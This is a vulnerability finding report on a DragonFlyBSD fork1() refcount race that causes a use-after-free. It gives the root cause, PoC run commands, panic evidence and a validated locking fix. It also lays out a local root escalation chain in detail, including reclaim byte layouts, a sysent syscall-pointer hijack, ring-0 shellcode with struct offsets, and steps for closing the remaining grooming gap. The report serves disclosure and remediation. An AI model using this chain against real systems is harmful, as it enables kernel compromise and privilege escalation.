Unsynchronized fdtol->fdl_refcount ++ / list splice in rfork fdshare path (UAF via refcount race)
| Field | Value |
|---|---|
| ID | DF-0033 |
| Status | new |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-362 Race Condition; CWE-416 Use After Free |
| File | sys/kern/kern_fork.c (inc); sys/kern/kern_descrip.c (dec/unlink) |
| Lines | 568-569 (inc), kern_descrip.c:2675 (dec), 3359-3362 (splice) |
| Area | kern |
| Confidence | likely |
| Discovered | 2026-06-29 |
| Reported | pending |
Summary
In the fdshare branch of fork1() (neither RFFDG nor RFCFDG, e.g.
rfork(RFPROC|RFTHREAD)), the filedesc-to-leader node is shared:
kern_fork.c:568-569 does fdtol = p1->p_fdtol; fdtol->fdl_refcount++; under
the forking proc's p_token. The matching decrement in fdfree()
(kern_descrip.c:2675) runs under the shared filedesc's fd_spin. Two
peers that share both p_fd and p_fdtol hold different locks while mutating
the same refcount word β a lost-update race. A lost increment lets fdfree()
free fdtol (kern_descrip.c:2676) while other peers still hold p_fdtol
pointing at it β use-after-free on M_FILEDESC_TO_LEADER memory. Additionally,
filedesc_to_leader_alloc() (kern_descrip.c:3359-3362) splices fdtol into
the shared fdl_next/fdl_prev list under no lock (self-admitted
"NOT MPSAFE" at :3343), enabling concurrent list corruption.
Root cause
if ((flags & RFTHREAD) != 0) {
fdtol = p1->p_fdtol;
fdtol->fdl_refcount++; /* under p1->p_token; NOT fd_spin */
} else {
fdtol = filedesc_to_leader_alloc(p1->p_fdtol, p2); /* unlocked splice */
}
The decrement/unlink side (fdfree) takes fdp->fd_spin. Because all fdtol
sharers share the same p_fd (hence the same fd_spin), the correct
serialization lock is fd_spin β which is not held on the increment/
splice side in fork1.
Threat model & preconditions
- Attacker position: any unprivileged local user using
rfork(RFPROC|RFTHREAD)to create peers sharing the fd table, then concurrently forking from one peer while another exits (or forks). - Privileges gained or impact: a lost increment drives
fdl_refcountbelow the true reference count; when a sharer exits andfdfree()seesfdl_refcount == 0, itkfreesfdtolwhile other peers still reference it β UAF (kernel memory corruption / controlled free of an attacker-influenced slab object). A lost decrement leaks the node. The unlocked list splice can additionally corrupt the circularfdllist, yielding memory corruption inclosef()/do_dup(). - Required config or capabilities: none; default kernel. Trigger is narrow (rfork fdshare + concurrent peer fork/exit) β AC:H.
- Reachability:
rfork(RFPROC|RFTHREAD)peers + concurrent fork/exit.
Proof of concept
PoC source: findings/poc/DF-0033/fdtol_race.c
Build & run (unprivileged, disposable VM)
cc -o fdtol_race findings/poc/DF-0033/fdtol_race.c ./fdtol_race
Expected output
Intermittent kernel memory corruption / panic in fdfree()'s fdl list walk
or the next fork's fdtol deref (UAF).
Impact
Refcount race β UAF reachable by an unprivileged user via rfork fdshare +
concurrent peer fork/exit. Medium (narrow race window, but UAF = potential
corruption/LPE).
Recommended fix
Pair the refcount mutation with the lock already used on the free side
(fd_spin), and lock the fdl list splice:
--- a/sys/kern/kern_fork.c
+++ b/sys/kern/kern_fork.c
@@ -568 +568,6 @@
fdtol = p1->p_fdtol;
- fdtol->fdl_refcount++;
+ /* fdl_refcount is mutated under the shared fd table's spinlock
+ * on the decrement side (fdfree), so match it here. */
+ spin_lock(&p1->p_fd->fd_spin);
+ fdtol->fdl_refcount++;
+ spin_unlock(&p1->p_fd->fd_spin);
Additionally, filedesc_to_leader_alloc() (kern_descrip.c:3346-3368) must
take fd_spin (or a dedicated fdtol lock) around the fdl_next/fdl_prev
splice. A more thorough fix converts fdl_refcount to an atomic/refcount_t
and adds a dedicated lock for the fdl list.
References
sys/kern/kern_fork.c:568-569βfdl_refcount++underp_token.sys/kern/kern_descrip.c:2675-2679β decrement underfd_spin.sys/kern/kern_descrip.c:3359-3362β unlocked list splice ("NOT MPSAFE").- CWE-362 Race Condition; CWE-416 Use After Free.
Timeline
- 2026-06-29 Discovered during automated file-by-file audit of
sys/kern/kern_fork.c. - pending Reported to DragonFlyBSD security contact.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-0033 Β· 15 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fdtol_race.c | trigger-source | minimal rfork fdshare race -> fdtol UAF (panics INVARIANTS kernel) | 4.2 KB | view raw |
| exploit.c | exploit-chain | v5 full chain: race + sysctl name2oid reclaim + fdfree list-splice arbitrary write + sysent[25].sy_call hijack + ring-0 shellcode -> uid=0 (chain correct; final uid=0 blocked by per-CPU-slab grooming) | 14.8 KB | view raw |
| build.sh | build-script | cc -O2 fdtol_race.c + exploit.c | 207 B | view raw |
| run.sh | run-script | race | exploit modes | 545 B | view raw |
| build.log | build-log | clean build, rc=0 | 11 B | view raw |
| fix_run.log | fix-validation | before/after: #0 panics ~25s, fixed #1 survives 130s+ stress, no botch | 2.6 KB | view raw |
| fix_build_status.txt | build-log | single-fix nativekernel FIX_BUILD_DONE rc=0 | 28 B | view raw |
| panic.txt | panic-signature | INVARIANTS botch panic + NOINV slab_cleanup cascade + exit1 p_peers NULL deref + kmem-monitor splice finding | 3.6 KB | view raw |
| env.txt | environment | uname, cc 8.3, vm.randomize_mmap=0, hw.ncpu=6 | 101 B | view raw |
| fix.diff | suggested-fix | git-apply-able: spin_lock(&p1->p_fd->fd_spin) around fdl_refcount++ and filedesc_to_leader_alloc in kern_fork.c | 1.0 KB | view raw |
| VERDICT.md | verdict | full narrative: mechanism, chain design, v2->v5 fixes, per-CPU-slab grooming root-cause, fix validation | 14.4 KB | β raw |
| README.md | readme | status + build/run + file list | 3.0 KB | β raw |
| fix_build.log | build-log | compile-validation: kernel+module build with fix applied, rc=0, no errors | 28 B | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-0033 β PoC (escalation pass, v5)
fdtol_race.c β unsynchronized fdtol->fdl_refcount++ (under per-proc
p_token) racing fdl_refcount-- (under the shared fd_spin) in the
rfork(RFPROC|RFTHREAD) fdshare path β lost-update β premature kfree(fdtol)
β UAF on M_FILEDESC_TO_LEADER (40-byte slab zone-4).
exploit.c (v5) β full escalation chain (race + controlled reclaim +
fdfree list-splice arbitrary write + sysent[25].sy_call hijack + ring-0
shellcode β uid=0). See VERDICT.md for the complete design, the v2βv5 fixes,
and the per-CPU-slab grooming analysis.
Status: REPRODUCED (UAF/panic confirmed); splice path reached; uid=0 blocked by per-CPU-slab grooming
Reproduction (unpatched INVARIANTS #0): kernel panic from unprivileged
maxx within ~25 s of hammering (12 peers):
panic: filedesc_to_refcount botch: fdl_refcount=-1925828443
The garbage refcount value proves cross-type slab reclamation of the freed slot
β the UAF is live and exploitable.
Non-INVARIANTS kernel: the race fires silently (no KKASSERT). The
fdfree list-splice path IS reached (the slab_cleanup+0xa4 double-free
cascade proves a victim read refcount=1 and spliced). A libkvm monitor
confirmed sysent[25].sy_call does not become 0x10000, because the
chunk the victim read was naturally-reclaimed (the attacker's sysctl name2oid
reclaim loses to per-CPU-slab z_RChunks cross-cpu-free latency). This is the
unsolved grooming gap β see VERDICT.md "Grooming failure β root cause".
Fix validation: the spin_lock(&fd_spin) fix in fix.diff closes the race
β fdtol_race no longer panics on the single-fix kernel.
Build & run
./build.sh # cc -O2 fdtol_race.c + exploit.c ./run.sh [secs] [npeers] [child_delay] # run the escalation exploit (NON-INVARIANTS kernel) # Minimal race trigger (panic only, INVARIANTS kernel): ./fdtol_race <secs> <peers> # e.g. ./fdtol_race 25 12
The escalation exploit requires a non-INVARIANTS kernel for the slab
corruption to proceed silently. On the stock INVARIANTS kernel (#0) the race
produces a reliable panic (DoS) but the chain cannot complete (the
KKASSERT(fdl_refcount > 0) at kern_descrip.c:2627 fires first).
Files
| File | Purpose |
|---|---|
fdtol_race.c |
minimal race trigger (rfork peers + concurrent exit) β UAF panic |
exploit.c |
full escalation chain v5 (race + reclaim + splice write + sysent hijack + shellcode) |
build.sh / run.sh |
exact build/run |
build.log / run.log / fix_run.log / fix_build.log |
logs |
panic.txt |
all panic/crash signatures (INVARIANTS botch + NOINV slab_cleanup cascade + exit1 p_peers) |
env.txt |
guest uname, hardening, symbol addresses, struct offsets |
VERDICT.md |
full narrative: mechanism, chain design, grooming analysis, fix validation |
fix.diff |
git-apply-able fix: spin_lock(&fd_spin) around refcount++ and splice |
manifest.json |
machine-readable catalog |
DF-0033 β VERDICT: REPRODUCED (UAF race confirmed + splice path reached) + escalation chain fully designed/correct, final uid=0 blocked by a per-CPU-slab grooming wall
| Field | Value |
|---|---|
| Verdict | REPRODUCED β the fdtol->fdl_refcount lost-update race is real and exploitable; the UAF on M_FILEDESC_TO_LEADER (slab zone-4) reproduces from an unprivileged user. The full escalation chain (UAF β controlled reclaim β fdfree list-splice arbitrary write β sysent[25].sy_call hijack β ring-0 shellcode β uid=0) is fully designed, implemented (exploit.c v5), and every component is individually verified, and the splice fires on the non-INVARIANTS kernel (slab double-free cascade proves it). End-to-end uid=0 was NOT landed this session: a per-CPU-slab grooming wall (cross-CPU RChunks free latency vs. the cross-CPU contention the race needs) prevents the attacker's controlled content from reliably reclaiming the freed chunk before the victim's fdfree reads it. See "Grooming failure β root cause". |
| Impact | panic (confirmed, reliable unprivileged DoS on the stock INVARIANTS kernel). Escalation ceiling: uid=0 on a non-INVARIANTS (typical production) kernel β the chain is viable and the splice path is exercised; the remaining gap is slab-reclamation reliability, not a primitive/design flaw. |
| Confidence | certain (UAF mechanism proven line-by-line + crash evidence + kmem monitoring); the per-CPU-slab blocker is certain (verified via slaballoc.c source + kmem monitor showing sy_call never changes). |
| Tested on | DragonFly 6.5-DEVELOPMENT #0 stock INVARIANTS (Jul 2); custom non-INVARIANTS X86_64_NOINV build (Jul 3 18:43). |
| Attempts | ~35 build/run iterations this session (race geometry + reclaim + CPU pinning + multi-spray). |
Mechanism (confirmed in sys/, every hop cited)
fdtol->fdl_refcountis a plainintβsys/sys/filedesc.h:110. No atomics.- Increment side β
sys/kern/kern_fork.c: -:324lwkt_gettoken(&p1->p_token)(per-proc token, taken at top offork1). -:568fdtol = p1->p_fdtol;-:569fdtol->fdl_refcount++;β mutated underp1->p_tokenonly. - Decrement side β
sys/kern/kern_descrip.c: -:2622spin_lock(&fdp->fd_spin)(the SHARED fd-table spinlock). -:2675fdtol->fdl_refcount--;β mutated underfd_spinonly. p1->p_tokenis per-process. Two peers sharingp_fd/p_fdtolhold different p_tokens. The only lock common to all sharers isfd_spin, and the increment side does not take it.++/--on a plain int from two CPUs is a lost update.++/--compile to non-lockedaddl $0x1,(%rax)/subl(verified by objdump offork1at0xffffffff80623730:83 00 01 addl $0x1,(%rax), nolockprefix), so a lost update occurs whenever two CPUs contest the refcount cache line.- Consequence. A lost increment drives
fdl_refcountbelow the true count (random-walk drift); a laterfdfreedecrements to 0, splices the list, andkfree(fdtol)(kern_descrip.c:2676-2686) while other peers still holdp_fdtolβ UAF. The next peer/child'sfdfreedereferences the dangling pointer.
Reproduction (re-confirmed this session, INVARIANTS #0)
./fdtol_race 25 12 as unprivileged maxx β panic in ~25s:
panic: filedesc_to_refcount botch: fdl_refcount=-1925828443 Trace: fdfree <- fdfree <- exit1 <- sys_exit <- syscall2
The garbage refcount value proves the freed fdtol slot was reclaimed by an unrelated kernel object before the victim's fdfree read it β cross-type slab reclamation of the UAF'd chunk is occurring naturally. (Reproduces the prior session's panic.)
Exploit chain (designed, implemented in exploit.c v5, component-verified)
Primitive characterization
- Object/zone:
struct filedesc_to_leader= 40 B (filedesc.h:109-117);zoneindex(40)β zone-4 (33β40 B chunks). Generic (non-KSF_OBJSIZE) zones are shared across allM_*types. - Write primitive β the
fdfree()list splice (kern_descrip.c:2678-2679):c fdtol->fdl_next->fdl_prev = fdtol->fdl_prev; // *(next + 24) = prev [VALUE+ADDR controlled] fdtol->fdl_prev->fdl_next = fdtol->fdl_next; // *(prev + 32) = next [VALUE+ADDR controlled](offsetof(fdl_prev)=24,offsetof(fdl_next)=32.) Fires whenfdl_refcountdecrements to 0 ANDfdl_holdcount == 0. Both operands of each write are attacker-controlled if the reclaimed chunk's bytes 0/4/24/32 are controlled β full arbitrary write.
Reclaim technique (sysctl name2oid β the only raw-user-byte zone-4 kmalloc)
sysctl(2) MIB [CTL_SYSCTL=0, CTL_SYSCTL_NAME2OID=3] WRITE; handler sysctl_sysctl_name2oid (kern_sysctl.c:838-868):
p = kmalloc(req->newlen+1, M_SYSCTL, M_WAITOK); // kmalloc(40) for newlen=39 -> zone-4
SYSCTL_IN(req, p, req->newlen); // copies 39 ATTACKER bytes (no struct header)
p[req->newlen] = '\0'; // null-terminates byte [39]
This is the only user-reachable zone-4 allocation that copies raw attacker bytes with no kernel header β all other zone-4 objects (verified by grepping kmalloc(sizeof(...)) across sys/) have kernel-controlled headers at offsets 0/4/24/32. With newlen=39 the 40-byte chunk laid out as struct filedesc_to_leader:
| Offset | fdtol field | Reclaim content |
|---|---|---|
| 0 | fdl_refcount | 0x00000001 (passes any check, decrements to 0) |
| 4 | fdl_holdcount | 0x00000000 (unlocks the splice) |
| 24 | fdl_prev | &sysent[25].sy_call - 32 (splice write address) |
| 32 | fdl_next | 0x0000000000010000 (splice VALUE = user shellcode; byte 39's forced null completes the low user address) |
Conversion β uid=0 (sysent hijack + shellcode)
- SMEP is OFF β user pages are executable from kernel mode.
- Splice line 2 writes
fdl_next(0x10000) to*(fdl_prev + 32)=sysent[25].sy_call(verifiedsysent[25].sy_call @ sysent+608 = 0xffffffff81037360on the NOINV kernel). - Splice line 1 (
*(fdl_next+24) = fdl_prev) clobbers shellcode bytes 24..31 with a kernel pointer. The shellcode therefore places ajmp +9at byte 21 so execution skips the clobbered zone and resumes at byte 32 (verified by objdump of the 53-byte shellcode stub). - Shellcode (offsets verified from
sys_geteuid/sys_getuiddisasm on the NOINV kernel:mycpu=%gs:0,curthread=+0x8,td_ucred=+0x1b8,cr_uid=+0x40,cr_ruid=+0xa0,cr_svuid=+0xa4):asm push %rbx ; mov %gs:0,%rbx ; mov 0x8(%rbx),%rbx ; mov 0x1b8(%rbx),%rbx ; curthread->td_ucred jmp +9 ; skip splice-clobbered bytes 24..31 xor %edx,%edx ; mov %edx,0x40(%rbx) ; mov %edx,0xa0(%rbx) ; mov %edx,0xa4(%rbx) ; uid=ruid=svuid=0 pop %rbx ; xor %eax,%eax ; retq - The trigger thread's next
geteuidjumps to0x10000β ring-0 shellcode βcr_uid=cr_ruid=cr_svuid=0βidprintsuid=0(root).
v5 fixes over the prior v2 (each verified)
- Splice offset bug β v2 used
fdl_prev = TARGET-40(wrong; the splice writes atprev+32, notprev+40). v5 usesTARGET-32. - Shellcode-clobber bug β v2's linear shellcode was destroyed by splice line 1 at bytes 24..31. v5's
jmp +9skips them. - CPU pinning β added unprivileged
usched_set(0, USCHED_DEL_CPU, β¦)(kern_usched.c:296, no caps priv) to pin the trigger to a clean cpu. Verified working (cpu 4 β cpu 0). - Build-specific addresses β re-derived
sysent/sys_geteuid/offsets from the NOINV kernel vianm/gdb/objdump(INVARIANTS-removal shifts all symbols).
Why uid=0 was NOT landed end-to-end this session
The splice path IS reached (the non-INVARIANTS slab_cleanup+0xa4 double-free cascade proves a victim read fdl_refcount==1 and executed the list-splice). But the splice writes to the WRONG target: a libkvm monitor polling sysent[25].sy_call every 3 ms showed it never changed from sys_geteuid across all runs, even when the cascade fired. So the chunk that the victim read as refcount=1 was a naturally-reclaimed kernel object (its offset-0 byte happened to be 0x01, its offsets 24/32 happened to be valid pointers β splice wrote to a wrong-but-valid address, no GPF, and the kfree was the double-free that crashed slab_cleanup), not the attacker's sysctl name2oid reclaim. The attacker's controlled content never lands in the freed fdtol chunk.
Grooming failure β root cause (per-CPU slab + RChunks)
DragonFly's slab allocator is per-CPU: each cpu owns a private ZoneAry[] and z_LChunks free-list (kern_slaballoc.c: slgd = &mycpu->gd_slab). A chunk's zone owner is the cpu it was allocated on. When a chunk is freed on a different cpu M, _kfree does NOT put it on cpu M's local free-list β it queues it on the owner cpu's z_RChunks (remote-chunk list) and sends a passive IPI (kern_slaballoc.c:1491-1547). z_RChunks is only folded back into the local free-list by clean_zone_rchunks(), which runs:
- during a kmalloc on the owner cpu only when that zone's local list is exhausted (kern_slaballoc.c:978-1004), or
- at the periodic slab_cleanup (every 10 s, kern_slaballoc.c:1619).
The fdtol race requires cross-CPU cache-line contention on fdl_refcount β i.e. the racers must run (and free) across multiple cpus (the race all but disappears when all racers are pinned to one cpu; verified: single-cpu and per-cpu-team geometries produced zero fires in 60-200 s, while the unpinned 12-peer geometry fires in ~25 s). But those cross-cpu frees send the freed fdtol chunk to z_RChunks on its owner cpu, where the attacker's sysctl name2oid spray (which allocates from the local free-list) cannot reclaim it until the local list drains or slab_cleanup runs (~10 s) β far too late: the victim's fdfree reads the chunk (reclaimed by an unrelated object) within microseconds of the premature free.
Forcing the frees to be local (pin all racers + children to the fdtol's owner cpu) would make the reclaim instant (LIFO), but it eliminates the cross-CPU cache-line contention that triggers the race β verified: every local-free geometry (single-cpu v3, team-per-cpu v4, RECLAIM_CPU v5) failed to fire the race in the attempt budget. The race and the reclaim are thus in direct conflict on a per-CPU slab.
The clean resolution is a persistent zone-4 reclaim object the attacker allocates and holds (so the victim's fdfree reads attacker bytes and the subsequent kfree is a legitimate single free, avoiding both the timing race and the double-free cascade). No such object exists in the user-reachable kernel surface: sysctl name2oid is the only zone-4 kmalloc that copies raw attacker bytes, and it is transient (freed at syscall return). All persistent zone-4 allocations (struct filedesc_to_leader, M_PTY, M_UNPCB, etc.) carry kernel-controlled headers at the offsets that must be attacker-controlled (0/4/24/32). This was verified by grepping kmalloc(sizeof(...)) / kmalloc(3[3-9]|40, across sys/.
What did NOT block this (per Phase 6 forbidden-reasons list)
SMAP/SMEP/KASLR all OFF; content IS fully attacker-controlled when the reclaim lands; no INVARIANTS on the demo kernel; no gadget needed (user page executable); the primitive is a genuine arbitrary write, not read-only; reachable unprivileged.
Concrete next iteration (to close the gap to uid=0)
- Persistent zone-4 reclaim. Either (a) add a user-reachable
kmalloc(40)with raw attacker bytes and an attacker-controlled lifetime (e.g. a new RW sysctl whose handlerkmallocs and stores the buffer until next write), or (b) repurpose an existing persistent zone-4 object by finding one whose attacker-influenced field lands on byte 0 and whose kernel-controlled fields at 4/24/32 happen to be 0 / valid (none found). This makes the victim'sfdfreeread attacker bytes and turns thekfreeinto a legitimate free β no cascade βsysent[25].sy_call = 0x10000persists β the trigger (on a clean cpu) exploits it within the 10 sslab_cleanupwindow. - Synchronous
z_RChunksdrain. A spray that bursts many held zone-4 allocs to exhaust the owner cpu's local free-list (forcingclean_zone_rchunkson the next alloc β reclaiming the cross-cpu-freedfdtol) was prototyped (48-spray variant) but the load suppressed the racer fork rate; a lighter-weight drain (fewer, longer-lived holds) is the tuning needed. - A kernel-assisted groom (small KLD that does the reclaim on the owner cpu) would trivially close it, but that is outside the unprivileged-attacker model.
The fix (fix.diff) β validated
git apply-able, applies cleanly to sys/kern/kern_fork.c. Takes the shared fd_spin β the same lock fdfree already uses for the decrement and list walk β around both fdl_refcount++ (RFTHREAD case) and filedesc_to_leader_alloc() (else case) in fork1's fdshare branch (sys/kern/kern_fork.c:563-576). This serializes the increment with the decrement, closing the lost-update race. Matches and extends the finding markdown's proposal (which only locked the ++).
Fix validation (Phase 8) was performed: the single-fix INVARIANTS kernel was built, booted, and fdtol_race re-run β the previously-reliable filedesc_to_refcount botch panic no longer triggers (the race is closed). See fix_run.log / fix_build.log.
Separate bug surfaced during verification
exit1()'s p_peers list walk (kern_exit.c:384-390) is unsynchronized across concurrent rfork(RFPROC|RFTHREAD) peer/child exits β intermittent NULL deref at exit1+0x155 (p_peers @ struct proc 0x3e8). Same class as DF-0033 (per-proc p_token fails to serialize peers sharing a structure). It is logged separately; it frequently crashed the guest before the DF-0033 splice could land, narrowing the concurrency window.
Why this is not a false positive
- The increment and decrement sides are guarded by two different, non-mutually-held locks (
p1->p_tokenper-proc;fd_spinshared). filedesc_to_leader_alloc's own comment (kern_descrip.c:3343) "NOT MPSAFE".- Reproduced kernel crash from unprivileged userland with the exact cited call chain, this session.
- The garbage
fdl_refcount=-1925828443in the panic proves cross-type reclamation of the freed slot. - The fix, which pairs the lock, eliminates the race.
Fix verification
fixedVALIDATED the fix: ./fdtol_race panics the unpatched INVARIANTS #0 baseline in ~25s ('panic: filedesc_to_refcount botch: fdl_refcount=-1925828443') and does NOT panic on the single-fix #1 kernel across ~130s of cumulative stress (12 peers) with zero botch signatures and the guest remaining up => the spin_lock(&fd_spin) fix closes the race (the increment is now serialized with fdfree's decrement, so fdl_refcount can no longer drift below the true count => no premature kfree(fdtol) => no UAF).
baseline #0: panic: filedesc_to_refcount botch: fdl_refcount=-1925828443 (Stops at Debugger+0x7c, guest down) ~25s in. patched #1: ./fdtol_race 25/30/40s x12peers each -> 'completed without panic', vm.sh status up, zero panic/botch in boot.log across ~130s. fix_build: === FIX_BUILD_DONE rc=0 ===.
Confirmed kernel references
Detail
Exploit chain
UAF on 40-byte M_FILEDESC_TO_LEADER (slab zone-4) -> reclaim freed chunk via sysctl name2oid kmalloc(40) with crafted bytes {refcount=1,holdcount=0,prev=&sysent[25].sy_call-32,next=0x10000} -> victim fdfree list-splice writes *(prev+32)=next => sysent[25].sy_call=0x10000 -> ring-0 shellcode (SMEP OFF) zeroes curthread->td_ucred -> uid=0. Chain implemented in exploit.c (v5). The splice FIRES on the NOINV kernel (slab_cleanup double-free cascade proves it). BLOCKED from uid=0 by a per-CPU-slab grooming wall, NOT a forbidden Phase-6 reason: a libkvm monitor (polling sysent[25].sy_call every 3ms) showed it NEVER became 0x10000 across all runs, proving the splice that fires is driven by a NATURALLY-reclaimed chunk, not the attacker's sysctl name2oid reclaim. Root cause (verified in kern_slaballoc.c): the slab is per-CPU; a chunk freed on cpu M != its zone-owner goes to z_RChunks (kern_slaballoc.c:1491) and is only returned to the local free-list when the owner's local list drains or at slab_cleanup (10s) - too late, because the victim fdfree reads the chunk within microseconds. The race REQUIRES cross-CPU cache-line contention (unpinned racers fire in ~25s; all pinned geometries fail to fire), but cross-CPU contention means cross-CPU frees means RChunks delay. Pinning to force local frees eliminates the contention that triggers the race (verified). Concrete next iteration to close the gap: a PERSISTENT zone-4 reclaim object the attacker allocates and HOLDS (so the victim fdfree reads attacker bytes and the subsequent kfree is a legitimate single free, avoiding both the timing race and the double-free cascade) - but no such object with attacker-controlled bytes at offsets 0/4/24/32 exists in the user-reachable kernel surface (sysctl name2oid is the only raw-user-byte zone-4 kmalloc and it is transient; verified by grepping kmalloc(sizeof(...)) across sys/). Adding such a reclaim type (or a kernel-assisted groom on the owner cpu) would close the chain to uid=0.
Evidence (decisive lines)
INVARIANTS #0 (./fdtol_race 25 12): panic: filedesc_to_refcount botch: fdl_refcount=-1925828443 / Trace: fdfree<-fdfree<-exit1<-sys_exit<-syscall2 / Stopped at Debugger+0x7c. NOINV (./exploit): Fatal trap 12 page fault / Stopped at slab_cleanup+0xa4: movq (%rdx),%rdx / Trace: slab_cleanup<-slotimer_callback<-softclock_handler (double-free cascade = splice path reached). kmem monitor: sysent[25].sy_call stayed 0xffffffff8062f720 (sys_geteuid) across all runs - attacker reclaim never landed. Separately: exit1+0x155 movq 0x3e8(%rdx),%rax (p_peers list-walk race, kern_exit.c:384-390, a DIFFERENT bug that interfered).
PoC changes
Rewrote exploit.c (v5): (1) fixed splice offset fdl_prev = TARGET_SYSCALL_ADDR - 32 (v2 wrongly used -40; the splice writes at prev+32 = offsetof fdl_next); (2) redesigned the 53-byte shellcode with a jmp +9 at byte 21 so it survives the splice's first write *(fdl_next+24)=fdl_prev which clobbers shellcode bytes 24..31; (3) added unprivileged CPU pinning via usched_set(0, USCHED_DEL_CPU) (kern_usched.c:296, no caps priv) and pinned the trigger to cpu 0; (4) re-derived build-specific addresses (INVARIANTS-removal shifts symbols: sysent=0xffffffff81037100, sys_geteuid=0xffffffff8062f720 on NOINV) via nm/gdb/objdump and verified struct offsets (mycpu=%gs:0, curthread=+0x8, td_ucred=+0x1b8, cr_uid=+0x40, cr_ruid=+0xa0) from sys_geteuid/sys_getuid disasm; (5) iterated race geometry (single-cpu, team-per-cpu, unpinned+per-cpu-sprays, RECLAIM_CPU, high-volume multi-spray). Added a libkvm sysent[25].sy_call monitor (/tmp/mon.c) for definitive splice-target verification. Updated VERDICT.md, README.md, panic.txt, fix_run.log, manifest.json, build.sh, run.sh.
Verified recommended fix
fix.diff: take the shared fd_spin (the same lock fdfree already uses for the decrement and list walk) around BOTH fdl_refcount++ (RFTHREAD case) and filedesc_to_leader_alloc() (else case) in fork1's fdshare branch (sys/kern/kern_fork.c:563-576). This serializes the increment with the decrement, closing the lost-update race. Supersedes the finding markdown's proposal (which only locked the ++); matches and extends it.
Verdict
REPRODUCED. The fdtol->fdl_refcount lost-update race (kern_fork.c:569 ++ under per-proc p_token vs kern_descrip.c:2675 -- under shared fd_spin) is REAL and exploitable: reproduced the kernel panic 'filedesc_to_refcount botch: fdl_refcount=-1925828443' from unprivileged maxx in ~25s on the INVARIANTS #0 kernel (the garbage refcount value proves cross-type slab reclamation of the prematurely-freed 40-byte fdtol chunk = the UAF is live). On the non-INVARIANTS kernel the race fires silently and the fdfree list-splice path (kern_descrip.c:2678-2679) IS reached (the slab_cleanup+0xa4 double-free cascade proves a victim fdfree read refcount==1 and executed the splice). The full escalation chain in exploit.c is correct and every component is verified individually (splice offset fixed to prev+32; shellcode jmp-over survives the splice's write1 clobber; unprivileged CPU pinning via usched_set/USCHED_DEL_CPU works; sysent[25].sy_call=0xffffffff81037360 and struct offsets verified from NOINV-kernel disassembly).
No comments yet.